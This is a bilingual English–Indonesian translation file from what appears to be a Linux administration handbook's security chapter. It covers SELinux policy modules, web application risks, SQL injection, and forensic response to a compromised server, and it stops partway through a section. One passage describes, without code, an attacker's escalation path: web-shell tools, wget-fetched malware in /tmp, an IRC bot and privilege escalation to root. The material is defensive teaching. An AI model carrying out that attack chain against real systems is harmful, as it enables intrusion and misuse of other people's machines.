en: By observing this log entry, it is possible to build a rule that would allow this operation. For example, <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. This process can be automated, and it is exactly what the <command>audit2allow</command> command (of the <emphasis role="pkg">policycoreutils</emphasis> package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “<literal>dontaudit</literal>” rule to avoid the log entry despite the effective denial.
id-ID: Dengan mengamati entri log ini, mungkin untuk membangun sebuah aturan yang akan memungkinkan operasi ini. Sebagai contoh: <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. Proses ini dapat diotomatiskan, dan itu persis apa yang ditawarkan oleh perintah <command>audit2allow</command> (dari paket <emphasis role="pkg">policycoreutils</emphasis>). Pendekatan ini hanya berguna jika berbagai objek sudah benar dilabeli menurut apa harus dibatasi. Dalam hal apapun, Anda harus hati-hati meninjau aturan yang dihasilkan dan memvalidasi mereka menurut pengetahuan Anda tentang aplikasi. Secara efektif, pendekatan ini cenderung untuk memberikan hak lebih daripada yang benar-benar diperlukan. Solusi yang tepat seringkali adalah dengan menciptakan tipe baru dan memberikan hak hanya pada tipe tersebut. Terjadi juga bahwa operasi yang ditolak tidak fatal ke aplikasi, dalam hal itu mungkin lebih baik untuk hanya menambahkan aturan "<literal>dontaudit</literal>" untuk menghindari entri log meskipun ada penyangkalan efektif.

en: <emphasis>COMPLEMENTS</emphasis> No roles in policy rules
id-ID: <emphasis>KOMPLEMEN</emphasis> Tidak ada peran dalam aturan kebijakan

en: <primary>Type Enforcement</primary>
id-ID: <primary>Penegakan Tipe</primary>

en: <primary>Enforcement, Type Enforcement</primary>
id-ID: <primary>Penegakan, Penegakan Tipe</primary>

en: It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights.
id-ID: Mungkin tampak aneh bahwa peran tidak muncul sama sekali ketika membuat aturan baru. SELinux hanya menggunakan domain untuk mengetahui operasi yang diperbolehkan. Peran campur tangan hanya secara tidak langsung dengan mengizinkan pengguna untuk beralih ke domain lain. SELinux didasarkan pada teori yang dikenal sebagai <emphasis>Type Enforcement</emphasis> (penegakan tipe) dan tipe adalah satu-satunya unsur yang penting ketika memberi hak.

en: Compiling the Files
id-ID: Mengkompilasi Berkas

en: Once the 3 files (<filename>example.if</filename>, <filename>example.fc</filename>, and <filename>example.te</filename>) match your expectations for the new rules, rename them to <filename>myapp.<replaceable>extension</replaceable></filename> and run <command>make NAME=devel</command> to generate a module in the <filename>myapp.pp</filename> file (you can immediately load it with <command>semodule -i myapp.pp</command>). If several modules are defined, <command>make</command> will create all the corresponding <filename>.pp</filename> files.
id-ID: Setelah 3 berkas (<filename>example.if</filename>, <filename>example.fc</filename>, dan <filename>example.te</filename>) sesuai harapan Anda untuk aturan baru, ubah nama mereka menjadi <filename>myapp.<replaceable>extension</replaceable></filename> dan jalankan <command>make NAME=devel</command> untuk menghasilkan suatu modul dalam berkas <filename>myapp.pp</filename> (Anda dapat seketika memuatnya dengan <command>semodule -i myapp.pp</command>). Jika beberapa modul yang didefinisikan, <command>make</command> akan membuat semua berkas <filename>.pp</filename> yang sesuai.

en: Other Security-Related Considerations
id-ID: Pertimbangan Lain Terkait Keamanan

en: Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.
id-ID: Keamanan bukan hanya masalah teknis; lebih dari apa pun, ini adalah tentang praktek-praktek yang baik dan memahami risiko-risiko. Bagian ini mengulas beberapa risiko yang lebih umum, serta beberapa praktek terbaik yang mestinya, tergantung dari kasus, meningkatkan keamanan atau mengurangi dampak dari suatu penyerangan yang sukses.

en: Inherent Risks of Web Applications
id-ID: Risiko Inheren Aplikasi Web

en: The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.
id-ID: Karakter universal aplikasi web mengarah ke proliferasi mereka. Beberapa sering berjalan secara paralel: webmail, wiki, beberapa sistem groupware, forum, galeri foto, blog, dan sebagainya. Banyak aplikasi yang bergantung pada tumpukan "LAMP" (<emphasis>Linux, Apache, MySQL, PHP</emphasis>). Sayangnya, banyak dari aplikasi tersebut juga ditulis tanpa banyak pertimbangan untuk masalah keamanan. Data yang berasal dari luar, terlalu sering, digunakan dengan sedikit atau tanpa validasi. Memberikan nilai-nilai yang dibuat khusus dapat digunakan untuk mengalihkan panggilan ke perintah sehingga yang lain itu yang dijalankan sebagai gantinya. Banyak masalah yang paling jelas telah diperbaiki ketika waktu telah berlalu, tetapi masalah-masalah keamanan yang baru muncul secara teratur.

en: <emphasis>VOCABULARY</emphasis> SQL injection
id-ID: <emphasis>KOSAKATA</emphasis> Injeksi SQL

en: When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. <ulink type="block" url="https://en.wikipedia.org/wiki/SQL_Injection" />
id-ID: Ketika sebuah program memasukkan data ke dalam query SQL dalam cara yang tidak aman, itu menjadi rentan terhadap injeksi SQL; nama ini mencakup aksi mengubah parameter sedemikian rupa sehingga query sebenarnya yang dijalankan oleh program ini berbeda dari yang dimaksudkan, baik untuk merusak basis data atau mengakses data yang biasanya tidak boleh diakses. <ulink type="block" url="https://en.wikipedia.org/wiki/SQL_Injection" />

en: <primary>SQL injection</primary>
id-ID: <primary>Injeksi SQL</primary>

en: Knowing What To Expect
id-ID: Mengetahui Apa Yang Diharapkan

en: A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.
id-ID: Kerentanan dalam aplikasi web sering digunakan sebagai titik awal untuk upaya cracking. Berikut ini adalah tinjauan singkat dari kemungkinan konsekuensi.

en: <emphasis>QUICK LOOK</emphasis> Filtering HTTP queries
id-ID: <emphasis>LIHAT CEPAT</emphasis> Memfilter kueri HTTP

en: Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.
id-ID: Apache 2 menyertakan modul yang memungkinkan penyaringan permintaan HTTP masuk. Hal ini memungkinkan memblokir beberapa vektor serangan. Sebagai contoh, membatasi panjang parameter dapat mencegah buffer overflow. Lebih umum, kita dapat memvalidasi parameter sebelum mereka diberikan ke aplikasi web dan membatasi akses mengikuti banyak kriteria. Ini bahkan dapat dikombinasikan dengan pemutakhiran firewall dinamis, sehingga klien yang melanggar salah satu aturan dilarang mengakses server web untuk jangka waktu yang diberikan.

en: Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.
id-ID: Mengatur pemeriksaan bisa merupakan tugas yang panjang dan rumit, tapi itu bisa membayar lunas ketika aplikasi web yang digunakan memiliki track record yang meragukan terkait masalah keamanan.

en: <emphasis>mod-security2</emphasis> (in the <emphasis role="pkg">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role="pkg">modsecurity-crs</emphasis> package) that you can easily enable.
id-ID: <emphasis>mod-security2</emphasis> (dalam paket <emphasis role="pkg">libapache2-mod-security2</emphasis>) adalah utama modul tersebut. Itu bahkan datang dengan banyak aturan siap pakai (dalam paket <emphasis role="pkg">modsecurity-crs</emphasis>) yang Anda dapat dengan mudah aktifkan.

en: A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.
id-ID: Penyerang yang lebih maju akan bertindak lebih dari itu. Skenario bencana yang bisa berlanjut dengan cara berikut: penyerang memperoleh kemampuan untuk mengeksekusi perintah sebagai pengguna <literal>www-data</literal>, tetapi mengeksekusi perintah memerlukan banyak manipulasi. Untuk membuat hidup mereka lebih mudah, mereka menginstal aplikasi web lainnya yang dirancang khusus untuk jarak jauh melaksanakan berbagai jenis perintah, seperti meramban sistem berkas, memeriksa izin, mengunggah atau mengunduh berkas, mengeksekusi perintah, dan bahkan menyediakan shell jaringan. Sering kali, kerentanan akan memungkinkan menjalankan perintah <command>wget</command> yang akan mengunduh beberapa malware ke <filename>/tmp/</filename>, kemudian mengeksekusinya. Malware sering diunduh dari situs web asing yang sebelumnya terkompromi, untuk menutupi jejak dan membuat lebih sulit untuk mengetahui asal-usul serangan sebenarnya.

en: At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.
id-ID: Pada titik ini, si penyerang memiliki cukup kebebasan bergerak sehingga mereka sering menginstal <emphasis>bot</emphasis> IRC (robot yang menghubungkan ke IRC server dan dapat dikendalikan oleh saluran ini). Bot ini sering digunakan untuk berbagi berkas ilegal (salinan film atau perangkat lunak yang tidak sah, dan sebagainya). Penyerang yang berkemauan kuat mungkin ingin pergi lebih jauh. Akun <literal>www-data</literal> tidak mengizinkan akses penuh ke mesin, dan penyerang akan mencoba untuk mendapatkan hak akses administrator. Sekarang, ini seharusnya tidak mungkin, tetapi jika aplikasi web tidak mutakhir, kemungkinan bahwa kernel dan program lain sudah ketinggalan jaman juga; ini kadang-kadang mengikuti keputusan dari administrator yang, meskipun ia mengetahui tentang kerentanan, mengabaikan untuk meningkatkan sistem karena ada tidak ada pengguna lokal. Penyerang kemudian dapat mengambil keuntungan dari kerentanan kedua ini untuk mendapatkan akses root.

en: <emphasis>VOCABULARY</emphasis> Privilege escalation
id-ID: <emphasis>KOSAKATA</emphasis> Eskalasi privilese

en: This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.
id-ID: Istilah ini mencakup apa pun yang dapat digunakan untuk memperoleh izin lebih daripada yang normalnya mesti dimiliki pengguna tertentu. Program <command>sudo</command> dirancang dengan tujuan memberikan hak administratif untuk beberapa pengguna. Tetapi istilah yang sama juga digunakan untuk menggambarkan tindakan penyerang yamg mengeksploitasi kerentanan untuk mendapatkan hak-hak yang tidak semestinya.

en: This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.
id-ID: Ini adalah skenario mimpi buruk yang dapat dicegah dengan beberapa langkah. Beberapa bagian selanjutnya menjelaskan beberapa langkah ini.

en: Choosing the Software Wisely
id-ID: Memilih Perangkat Lunak Secara Bijak

en: <emphasis>VOCABULARY</emphasis> Security audit
id-ID: <emphasis>KOSAKATA</emphasis> Audit Keamanan

en: A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.
id-ID: Audit keamanan adalah proses membaca tuntas dan menganalisis kode sumber dari beberapa perangkat lunak, mencari potensi kerentanan keamanan yang mungkin ada. Audit tersebut biasanya proaktif dan mereka dilakukan untuk memastikan bahwa suatu program yang memenuhi persyaratan keamanan tertentu.

en: In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.
id-ID: Di dunia perangkat lunak bebas, umumnya ada cukup ruang untuk pilihan, dan memilih satu perangkat lunak atas yang lain harus merupakan keputusan yang didasarkan pada kriteria yang berlaku secara lokal. Lebih banyak fitur berarti peningkatan risiko kerentanan yang bersembunyi di balik kode; memilih program yang paling canggih untuk suatu tugas mungkin sebenarnya menjadi kontra-produktif, dan pendekatan yang lebih baik biasanya memilih program paling sederhana yang memenuhi persyaratan.

en: <emphasis>VOCABULARY</emphasis> Zero-day exploit
id-ID: <emphasis>KOSAKATA</emphasis> Zero-day exploit

en: A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.
id-ID: Serangan <emphasis>zero-day exploitasi</emphasis> sulit untuk dicegah; istilah ini mencakup kerentanan yang belum diketahui untuk para penulis program.

en: Managing a Machine as a Whole
id-ID: Mengelola Mesin Secara Utuh

en: Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.
id-ID: Sebagian besar distribusi Linux menginstal secara default sejumlah layanan Unix dan banyak alat. Dalam banyak kasus, layanan dan alat-alat ini tidak diperlukan untuk tujuan sebenarnya saat administrator menyiapkan mesin. Sebagai panduan umum dalam masalah keamanan, perangkat lunak yang tidak diperlukan lebih baik dihapus. Memang, tidak ada gunanya dalam mengamankan server FTP, jika kerentanan di layanan lain yang tidak terpakai dapat digunakan untuk mendapatkan hak istimewa administrator di seluruh mesin.

en: By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.
id-ID: Dengan alasan yang sama, firewall sering dikonfigurasi untuk hanya membolehkan akses ke layanan yang memang dimaksudkan dapat diakses oleh publik.

en: Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).
id-ID: Komputer saat ini sudah cukup kuat untuk memungkinkan mewadahi beberapa layanan pada mesin fisik yang sama. Dari sudut pandang ekonomi, kemungkinanitu menarik: hanya satu komputer untuk diadministrasi, konsumsi energi yang lebih rendah, dan sebagainya. Dari sudut pandang keamanan, namun, pilihan seperti itu dapat menjadi masalah. Salah satu layanan yang terkompromi dapat membawa akses ke seluruh mesin, yang pada gilirannya mengkompromi layanan lain yang diwadahi pada komputer yang sama. Risiko ini dapat dikurangi dengan mengisolasi layanan. Ini dapat dicapai baik dengan virtualisasi (setiap layanan yang di-host dalam mesin virtual atau container terdedikasi), atau dengan AppArmor/SELinux (setiap layanan daemon memiliki seperangkat izin yang dirancang secara memadai).

en: Users Are Players
id-ID: Pengguna Adalah Pemain

en: Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.
id-ID: Membahas keamanan segera membawa ke pikiran perlindungan terhadap serangan oleh peretas anonim yang bersembunyi di hutan Internet; tetapi kenyataan yang sering dilupakan adalah bahwa risiko juga berasal dari dalam: seorang pegawai yang akan keluar dari perusahaan bisa mengunduh berkas sensitif pada proyek-proyek penting dan menjual mereka ke pesaing, seorang salesman lalai bisa meninggalkan meja mereka tanpa mengunci sesi mereka selama pertemuan dengan calon pelanggan baru, pengguna yang kikuk bisa salah menghapus direktori yang keliru, dan seterusnya.

en: The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.
id-ID: Respon terhadap risiko ini dapat melibatkan solusi teknis: tidak lebih dari izin yang diperlukan yang harus diberikan kepada pengguna, dan backup secara teratur adalah suatu keharusan. Tapi dalam banyak kasus, perlindungan yang sesuai akan melibatkan pelatihan pengguna untuk menghindari risiko.

en: <emphasis>QUICK LOOK</emphasis> <emphasis role="pkg">autolog</emphasis>
id-ID: <emphasis>LIHAT CEPAT</emphasis> <emphasis role="pkg">autolog</emphasis>

en: The <emphasis role="pkg">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.
id-ID: Paket <emphasis role="pkg">autolog</emphasis> menyediakan suatu program yang secara otomatis memutus pengguna tak aktif setelah suatu masa tunggu yang dapat dikonfigurasi. Itu juga mengizinkan mematikan proses pengguna yang tetap berjalan setelah sesi berakhir, sehingga mencegah pengguna menjalankan daemon.

en: Physical Security
id-ID: Keamanan Fisik

en: There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.
id-ID: Tidak ada gunanya mengamankan layanan dan jaringan jika komputer itu sendiri tidak dilindungi. Data penting layak disimpan pada hard disk hot-swap dalam larik RAID, karena hard disk pada akhirnya bisa gagal dan ketersediaan data adalah suatu keharusan. Tetapi jika setiap petugas pengirim pizza dapat memasuki bangunan, menyelinap ke ruang server dan melarikan diri dengan beberapa hard disk yang dipilih, bagian penting dari keamanan tidak terpenuhi. Siapa yang dapat memasuki ruang server? Apakah akses dipantau? Pertanyaan-pertanyaan ini layak pertimbangan (dan dijawab) ketika keamanan fisik sedang dievaluasi.

en: Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.
id-ID: Keamanan fisik juga mencakup mempertimbangkan risiko kecelakaan seperti kebakaran. Risiko khusus ini adalah apa membenarkan menyimpan cadangan media di bangunan terpisah, atau setidaknya di brankas tahan api.

en: Legal Liability
id-ID: Tanggung Jawab Hukum

en: An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.
id-ID: Administrator, sedikit banyak secara implisit, dipercaya oleh pengguna mereka serta pengguna jaringan pada umumnya. Oleh karena itu mereka harus menghindari setiap kelalaian yang bisa dimanfaatkan oleh orang-orang jahat.

en: An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.
id-ID: Penyerang yang mengambil kendali mesin Anda kemudian menggunakannya sebagai markas depan (dikenal sebagai "sistem relay") untuk melakukan kegiatan-kegiatan jahat lainnya dapat menyebabkan masalah hukum untuk Anda, karena pihak yang diserang awalnya akan melihat serangan datang dari sistem Anda, dan karena itu menganggap Anda sebagai penyerang (atau sebagai kaki tangan). Dalam banyak kasus, penyerang akan menggunakan server Anda sebagai relay untuk mengirim spam, yang seharusnya tidak memiliki dampak jauh (kecuali berpotensi pendaftaran pada daftar hitam yang dapat membatasi kemampuan Anda untuk mengirim surel yang sah), tetapi bagaimanapun tidak akan menyenangkan. Dalam kasus lain, masalah lebih penting dapat disebabkan oleh mesin Anda, misalnya serangan denial of service (DoS, penolakan layanan). Ini kadang-kadang akan menyebabkan hilangnya pendapatan, karena layanan yang sah akan tidak tersedia dan data dapat dihancurkan; kadang-kadang ini akan juga menyiratkan biaya nyata, karena pihak yang diserang dapat memulai proses perkara hukum terhadap Anda. Pemegang hak dapat menuntut Anda jika salinan tidak sah dari sebuah karya yang dilindungi oleh hukum hak cipta dibagikan dari server Anda, serta perusahaan lain yang dipaksa oleh perjanjian tingkat layanan jika mereka terikat untuk membayar hukuman setelah serangan dari mesin Anda.

en: When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.
id-ID: Ketika situasi ini terjadi, mengklaim tidak bersalah biasanya tidak cukup; setidaknya, Anda akan perlu bukti yang meyakinkan yang menunjukkan aktivitas tersangka pada sistem Anda yang datang dari alamat IP tertentu. Ini tidak akan mungkin jika Anda mengabaikan rekomendasi dari bab ini dan membiarkan penyerang mendapatkan akses ke akun yang istimewa (root, khususnya) dan menggunakannya untuk menutupi jejak mereka.

en: Dealing with a Compromised Machine
id-ID: Berurusan dengan Mesin yang Terkompromi

en: Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.
id-ID: Meskipun dengan niat baik dan seberapa pun hati-hatinya kebijakan keamanan dirancang, administrator akhirnya menghadapi tindakan pembajakan. Bagian ini memberikan beberapa panduan tentang cara untuk bereaksi ketika dihadapkan dengan keadaan tidak beruntung ini.

en: Detecting and Seeing the Cracker's Intrusion
id-ID: Mendeteksi dan Melihat Intrusi Penyusup

en: The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.
id-ID: Langkah pertama bereaksi terhadap peretasan adalah sadar atas aksi sedemikian. Hal ini tidak jelas, terutama tanpa pemantauan infrastruktur yang memadai.

en: Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named <literal>apache</literal> instead of the standard <literal>/usr/sbin/apache2</literal>. If we follow that example, the thing to do is to note its process identifier, and check <filename>/proc/<replaceable>pid</replaceable>/exe</filename> to see what program this process is currently running:
id-ID: Aksi peretasan sering tidak terdeteksi sampai mereka memiliki konsekuensi langsung pada layanan sah yang diwadahi pada mesin, seperti koneksi melambat, beberapa pengguna tidak berhasil menyambung, atau jenis lain dari kerusakan. Dihadapkan dengan masalah ini, administrator perlu melihat dengan baik di mesin dan hati-hati meneliti apa yang berulah. Ini biasanya saat mereka menemukan sebuah proses yang tidak biasa, misalnya yang bernama <literal>apache</literal> bukan <literal>/usr/sbin/apache2</literal> yang standar. Jika kita mengikuti contoh, hal yang harus dilakukan adalah untuk mencatat dengan pengidentifikasi prosesnya, dan memeriksa <filename>/proc/<replaceable>pid</replaceable>/exe</filename> untuk melihat program apa yang sedang menjalankan proses ini:

en: A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised.
id-ID: Sebuah program yang dipasang di bawah <filename>/var/tmp/</filename> dan berjalan sebagai server web? Tidak ada sisa keraguan lagi, mesin terkompromi.

en: This is only one example, but many other hints can ring the administrator's bell:
id-ID: Ini adalah hanya salah satu contoh, tetapi banyak petunjuk lain yang dapat memperingatkan administrator:

en: an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;
id-ID: pilihan untuk suatu perintah yang tidak lagi bekerja; versi perangkat lunak yang diaku oleh perintah tidak cocok dengan versi yang seharusnya diinstal sesuai <command>dpkg</command>;

en: a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;
id-ID: prompt perintah atau sapaan sesi yang menunjukkan bahwa sambungan terakhir datang dari server yang tidak diketahui di benua lain;

en: errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;
id-ID: kesalahan yang disebabkan oleh partisi <filename>/tmp/</filename> menjadi penuh, yang ternyata penuh oleh salinan film ilegal;

en: and so on.
id-ID: dan seterusnya.

en: Putting the Server Off-Line
id-ID: Menempatkan Server Luring

en: In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.
id-ID: Dalam setiap kasus kecuali yang paling eksotis, peretasan berasal dari jaringan, dan penyerang perlu suatu jaringan yang bekerja untuk mencapai target mereka (mengakses data rahasia, berbagi berkas ilegal, menyembunyikan identitas mereka dengan menggunakan mesin sebagai relay dan seterusnya). Mencabut komputer dari jaringan akan mencegah penyerang mencapai target tersebut, jika mereka belum berhasil melakukannya.

en: This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see <xref linkend="sect.keeping-everything-that-could-be-used-as-evidence" />, <xref linkend="sect.forensic-analysis" /> and <xref linkend="sect.reconstituting-the-attack-scenario" />), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.
id-ID: Ini hanya dapat dilakukan jika server fisik dapat diakses. Ketika server diwadahi di pusat data penyedia hosting setengah jalan menyeberang negara, atau jika server tidak dapat diakses karena alasan lain, biasanya ide yang baik untuk memulai dengan mengumpulkan beberapa informasi penting (lihat <xref linkend="sect.keeping-everything-that-could-be-used-as-evidence" />, <xref linkend="sect.forensic-analysis" />, dan <xref linkend="sect.reconstituting-the-attack-scenario" />), kemudian mengisolasi server sebanyak mungkin dengan menutup sebanyak mungkin layanan (biasanya, semua selain <command>sshd</command>). Kasus ini masih canggung, karena kita tidak mengesampingkan kemungkinan penyerang memiliki akses SSH seperti administrator miliki; hal ini membuat lebih sulit untuk "membersihkan" mesin.

en: Keeping Everything that Could Be Used as Evidence
id-ID: Menjaga Segala Sesuatu yang Dapat Digunakan Sebagai Bukti

en: Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.
id-ID: Memahami serangan dan/atau melibatkan tindakan hukum terhadap para penyerang memerlukan mengambil salinan semua elemen yang penting; ini termasuk isi dari hard disk, daftar semua proses yang berjalan, dan daftar semua koneksi yang terbuka. Isi dari RAM juga bisa digunakan, tetapi jarang dipakai dalam praktek.

en: In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down.
id-ID: Dalam situasi panas, administrator sering tergoda untuk melakukan banyak pemeriksaan pada mesin yang terkompromi; hal ini biasanya bukan ide yang baik. Setiap perintah berpotensi diubah dan dapat menghapus potongan-potongan bukti. Pemeriksaan harus dibatasi untuk set minimalis (<command>netstat -tupan</command> untuk koneksi jaringan, <command>ps auxf</command> untuk daftar proses, <command>ls -alR /proc/[0-9]*</command> untuk sedikit informasi lebih lanjut tentang program yang berjalan), dan setiap pemeriksaan yang dilakukan mesti secara hati-hati dicatat di kertas.

en: <emphasis>CAUTION</emphasis> Hot analysis
id-ID: <emphasis>HATI-HATI</emphasis> Analisis panas

en: While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted <command>ps</command> command to hide some processes, or for a subverted <command>ls</command> to hide files; sometimes even the kernel is compromised!
id-ID: Walaupun mungkin tampak menggoda untuk menganalisis sistem ketika sedang berjalan, terutama ketika server tidak secara fisik terjangkau, ini sebaiknya dihindari: Anda tidak dapat mempercayai program-program yang saat ini terinstal di sistem yang terkompromi. Sangat mungkin bagi perintah <command>ps</command> yang diubah untuk menyembunyikan beberapa proses, atau untuk <command>ls</command> yang diubah untuk menyembunyikan berkas; kadang-kadang bahkan kernel terkompromi!

en: If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.
id-ID: Jika sebuah analisis panas masih diperlukan, perlu berhati-hati untuk hanya menggunakan program yang dikenal-baik. Cara yang baik untuk melakukan itu adalah dengan memiliki CD rescue dengan program-program yang murni, atau share jaringan hanya-baca. Namun, penanggulangan itu mungkin tidak akan cukup jika kernel sendiri terganggu.

en: Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.
